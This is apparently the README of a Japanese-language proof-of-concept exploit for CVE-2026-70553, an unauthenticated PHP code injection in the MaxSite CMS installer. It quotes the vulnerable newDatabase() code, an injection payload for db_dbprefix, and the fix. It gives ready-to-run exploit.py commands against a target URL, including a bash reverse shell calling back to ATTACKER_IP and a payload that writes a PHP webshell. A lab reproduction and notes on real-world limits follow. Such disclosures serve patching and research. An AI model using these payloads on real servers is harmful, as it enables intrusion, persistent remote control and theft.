
CVE-2026-70553の概念実証(PoC)エクスプロイト。MaxSite CMSのインストールエンドポイントを介してdatabase.phpに永続的なPHPインジェクションを実行し、未認証のリモートコード実行(RCE)を可能にします。
CVE-2026-70553のProof-of-Concept: インストールエンドポイントを介してdatabase.phpに持続的なPHPコードインジェクションを行う、MaxSite CMSにおける認証なしリモートコード実行。
このPoCは教育および許可されたセキュリティ研究目的のみを意図しています。著者は、このコードによって引き起こされる誤用や損害について一切責任を負いません。所有するシステム、または明示的な書面による許可を得たシステムに対してのみテストしてください。
MaxSite CMS バージョン105.2から109.5には、インストールエンドポイントに重大な認証なしリモートコード実行の脆弱性が存在します。db_dbprefixパラメータはサニタイズなしでPHPコードに直接連結されるため、攻撃者はapplication/config/database.phpに任意のPHP文を注入できます。このファイルはすべてのリクエストでインクルードされるため、注入されたコードは持続的なRCEを達成します。
install/installer/functions.php内のnewDatabase()関数は、database.phpの内容を構築します:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
以下のようなペイロードを注入することで:
db_dbprefix=mso_'; system('id'); //
生成されたdatabase.phpは以下のようになります:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
これにより文字列リテラルから抜け出し、任意のPHPコードを注入します。
この修正では、再インストールを防ぐためのチェックが追加されました:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
重要: この脆弱性には、実世界のシナリオにおいて深刻な実用上の制限があります。
/install/ディレクトリが削除されていない)newDatabase()関数はテーブルが存在しない場合にのみ呼び出されるinstall/installer/post.php内でcheckTableExists()によってチェックされるnewDatabase()は呼び出されない/install/にアクセスできたとしても、テーブル存在チェックによって注入へのコードパスがブロックされる管理された環境でこの脆弱性を検証するには:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
このプロジェクトはMITライセンスの下で公開されています。詳細はLICENSEを参照してください。
注意: 常に責任ある開示を実践し、テスト前に適切な許可を取得してください。